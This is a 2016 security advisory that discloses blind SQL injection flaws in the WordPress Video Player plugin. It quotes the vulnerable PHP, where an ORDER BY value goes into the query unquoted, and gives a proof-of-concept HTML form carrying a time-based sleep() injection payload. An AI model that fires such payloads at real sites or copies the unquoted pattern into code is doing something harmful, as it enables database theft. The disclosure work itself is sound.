Advisory

David Vaartjes & Yorick Koster, July 2016

Multiple SQL injection vulnerabilities in WordPress Video Player

Abstract

It was discovered that WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.

OVE ID

OVE-20160712-0004

Tested versions

This issue was successfully tested on WordPress Video Player WordPress plugin version 1.5.16.

Fix

This issue is resolved in WordPress Video Player 1.5.18.

Introduction

WordPress Video Player is a WordPress video plugin that allows you to easily add videos to your website. WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.

Details

The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()

show_tag():

[...]
   
if (isset($_POST['page_number'])) {
   if ($_POST['asc_or_desc']) {
      $sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if ($_POST['asc_or_desc'] == 1) {
         $sort["custom_style"] = "manage-column column-title sorted asc";
         $sort["1_or_2"] = "2";
         $order = "ORDER BY " . $sort["sortid_by"] . " ASC";
      } else {
         $sort["custom_style"] = "manage-column column-title sorted desc";
         $sort["1_or_2"] = "1";
         $order = "ORDER BY " . $sort["sortid_by"] . " DESC";
      }
   }


spider_video_select_playlist():

[...]
if(isset($_POST['page_number']))
{
   if($_POST['asc_or_desc'])
   {
      $sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if($_POST['asc_or_desc']==1)
      {
         $sort["custom_style"]="manage-column column-title sorted asc";
         $sort["1_or_2"]="2";
         $order="ORDER BY ".$sort["sortid_by"]." ASC";
      }
      else
      {
         $sort["custom_style"]="manage-column column-title sorted desc";
         $sort["1_or_2"]="1";
         $order="ORDER BY ".$sort["sortid_by"]." DESC";
      }
   }

function spider_video_select_video():

[...]
   
if(isset($_POST['page_number']))
{
      if($_POST['asc_or_desc'])
      {
         $sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));
         if($_POST['asc_or_desc']==1)
         {
            $sort["custom_style"]="manage-column column-title sorted asc";
            $sort["1_or_2"]="2";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";
         }
         else
         {
            $sort["custom_style"]="manage-column column-title sorted desc";
            $sort["1_or_2"]="1";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";
         }
      }

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/admin-ajax.php?action=spiderVeideoPlayerselectplaylist" method="POST">
         <input type="hidden" name="search_events_by_title" value="" />
         <input type="hidden" name="page_number" value="0" />
         <input type="hidden" name="serch_or_not" value="" />
         <input type="hidden" name="asc_or_desc" value="1" />
         <input type="hidden" name="order_by" value="(CASE WHEN (SELECT sleep(10)) = 1 THEN id ELSE title END) ASC #" />
         <input type="hidden" name="option" value="com_Spider_Video_Player" />
         <input type="hidden" name="task" value="select_playlist" />
         <input type="hidden" name="boxchecked" value="0" />
         <input type="hidden" name="filter_order_playlist" value="" />
         <input type="hidden" name="filter_order_Dir_playlist" value="" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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